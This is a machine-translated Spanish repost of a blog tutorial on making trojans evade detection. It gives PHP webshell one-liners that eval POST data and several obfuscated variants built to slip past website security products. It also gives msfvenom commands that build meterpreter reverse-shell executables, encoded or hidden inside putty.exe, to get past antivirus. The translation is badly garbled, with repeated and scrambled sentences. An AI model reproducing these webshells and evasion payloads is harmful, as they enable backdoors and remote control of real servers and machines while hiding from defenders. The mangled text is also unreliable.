[Caballo de Troya libre para matar]


Prefacio

Preguntas comunes en las entrevistas sobre ciberseguridad


tema


1. Requisitos contra la matanza, tecnología contra la matanza, técnicas contra la matanza y prácticas prácticas contra la matanza.

Requisitos anti-muerte

Debido a que el propósito final del troyano diseñado es cargar el troyano en el servidor de destino cuando se descubre que el sitio web de destino tiene una vulnerabilidad de carga y puede acceder de forma remota para lograr el control remoto. Sin embargo, algunos sitios web tendrán perros de seguridad, D -Shields, Security Knights, Guardian Gods y Cloud Locks. Si el software de protección puede detectar y eliminar algunos Webshells, entonces si desea utilizar Webshells para control remoto, debe evitar eliminarlos para evitar la inspección de la eliminación de troyanos. herramientas.

Tecnología antivirus

Actualmente, los métodos principales para detectar y eliminar troyanos incluyen la inspección estática, la detección dinámica y la inspección de registros.

1. La inspección estática detecta y elimina programas troyanos haciendo coincidir firmas, funciones peligrosas y valores característicos de los troyanos. Se caracteriza por ser rápida y conveniente, y tiene una alta precisión para encontrar programas troyanos conocidos. Su desventaja es que tiene una alta tasa de falsos positivos, no puede encontrar troyanos 0Day y es fácil de eludir.

2. La detección dinámica se basa en las características dinámicas del programa troyano. Cuando el programa troyano se carga en el servidor, el atacante siempre lo ejecutará. Las características que se muestran cuando se ejecuta el programa troyano son las llamadas características dinámicas.

2. La detección de registros se implementa principalmente mediante tecnología de detección y análisis de registros, que detecta principalmente archivos anormales analizando una gran cantidad de archivos de registro y estableciendo modelos de solicitud. Su ventaja es que cuando el nivel de visitas al sitio web alcanza un valor constante, este método de detección tiene un mayor valor de referencia. Su desventaja es que existe una cierta tasa de falsos positivos: para una gran cantidad de archivos de registro, la potencia de procesamiento y la eficiencia de la herramienta de detección serán relativamente bajas.

Consejos para evitar matar

1. Los programas troyanos se pueden diseñar utilizando una variedad de lenguajes de programación. Los diferentes lenguajes de programación tienen diferentes características y funciones del sistema proporcionadas. Por lo tanto, al implementar la protección antivirus, primero puede considerar utilizar las características del lenguaje para lograr la protección antivirus. 2. En segundo lugar, puede utilizar las características del lenguaje para evitar el software antivirus
. Utilice las reglas de escaneo y eliminación del software de escaneo y eliminación para reconstruir el programa del caballo de Troya y evitar el escaneo y la eliminación del caballo de Troya.
3. Al mismo tiempo, puede considerar el cifrado y descifrado en criptografía para cifrar y descifrar el programa troyano de origen para evitar el escaneo y la eliminación de las herramientas de escaneo y eliminación del caballo de Troya .
El núcleo de la tecnología anti-matanza de los troyanos reside en la "flexibilidad".

Combate real sin muertes

Cuando el caballo de Troya no ha sufrido una transformación anti-kill, por ejemplo

<?php 
  @eval($_POST['123']); 
?>

Antivirus Webshell:

1. Referencia para evitar matar

Debido a que D-Shield, Security Dog y Guardian God rastrearán el origen de la variable de ejecución en la palabra clave eval, cuando la variable a ejecutar sea un dato sospechoso recibido a través de POST, se mostrará el troyano sospechoso. Para evitar esto Método de trazabilidad, puede hacer referencia a la variable anterior usando & varias veces y, a través de una serie de operaciones de asignación, finalmente concatenar el contenido que se ejecutará con comillas invertidas y pasarlo a eval para evitar la muerte. La implementación específica es la siguiente:

<?php 
$b=&$a;
$a=$_POST['123'];
$c=&$b;
eval(`/***aaa***/`.$c);
?>
2. variables variables

Las variables variables son variables únicas en PHP. Pueden cambiar dinámicamente el nombre de una variable. Esta característica se puede utilizar para evitar que los troyanos maten. Primero, puede definir una variable a y asignarle el valor aa, luego asignar el contenido del troyano a la variable variable a y asignarle el valor aa, y luego asignar el contenido del troyano a la variable variablea y asígnale el valor aa ,Luego asigne el contenido del troyano a la variable variable a. Finalmente, cuando se llama a la función de evaluación para ejecutar, el objeto de ejecución se define como a. Finalmente, cuando se llama a la función de evaluación para ejecutar, el objeto de ejecución se define comoun ,Finalmente, al llamar a la función e v a l , simplemente defina el objeto de ejecución como aa, la implementación específica es la siguiente:

<?php
$a = 'aa';
$$a = $_POST['123'];
eval(`/**123**/`.$aa);
?>
3. Matriz bidimensional

Al evitar la matanza, podemos considerar colocar el programa troyano de una oración que se ejecutará en una matriz para lograr el propósito de omitir, por ejemplo:

<?php
$b =substr_replace("assexx","rt",4);
$a = array($array = array(" => $b($_POST['123'])));
var_dump($a);
?>
4. Intersección de matrices

Mientras investigamos antivirus, descubrimos que podemos obtener el valor que queremos a través de la intersección de matrices y luego usarlo en la construcción del programa troyano, por ejemplo:

<?php
$a1=array("a"=>"red" ,"ss"=>"green","c"=>"blue" ,"er"=>"hello","t"=>"hey");
$a2=array("a"=>"red","ss"=>"blue" ,"d"=>"pink","er"=>"hellos", "moza"=>"good_boy","t"=>"hey");$result=array_intersect_key($a1,$a2);//取数组交集
$a = array_keys($result);//取数组键值
$man = $a[0].$a[1].$a[2]."t";
$kk=$_POST['q'];
@$man(`/**/`.$kk=$kk);print _r($a1);//扰乱规则
?>

Este método antivirus puede eludir la mayoría del software antivirus.

5.Función de devolución de llamada

La función de devolución de llamada array_map() devolverá la matriz después de que se aplique la función definida por el usuario. El uso y los parámetros específicos de la función array_map() son los siguientes:

Aquí podemos definir primero una prueba de función, en la que el primer parámetro a se usa como nombre de la función de devolución de llamada, el segundo parámetro a se usa como nombre de la función de devolución de llamada y el segundo parámetro a se usa como nombre de la función de devolución de llamada.a se usa como el nombre de la función de devolución de llamada, y el segundo parámetro b se usa como parámetro de la función de devolución de llamada, que luego se pasa a la función array_map() para su ejecución. Después de eso, llamamos a la función de prueba externamente, pasando nuestro nombre de la función de devolución de llamada y función de devolución de llamada.

<?php
function test($a,$b){
    
    
	array_map($a,$b);
}
test(eval,array($_POST['123']));
?>
array_filter()
call_user_func_array() //可代替array_map的函数
6. Codificación

Las funciones clave como eval, afirmar, etc. se pueden codificar en base64 o unir matrices y luego volver a llamarlas, etc.

Los troyanos están libres de matar:

1.msf viene con software antivirus
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o shell.exe
2. msf incluido para evitar matar
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -x putty.exe -f exe -o shell.exe
3. msf viene con paquete anti-kill +
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o shell.exe
4.fábrica de puerta trasera
5.unicornio unicornio

Resumir

Este número presenta principalmente algunos métodos para evitar matar troyanos.

Supongo que te gusta

Origin blog.csdn.net/qq_61872115/article/details/126130811
Recomendado
Clasificación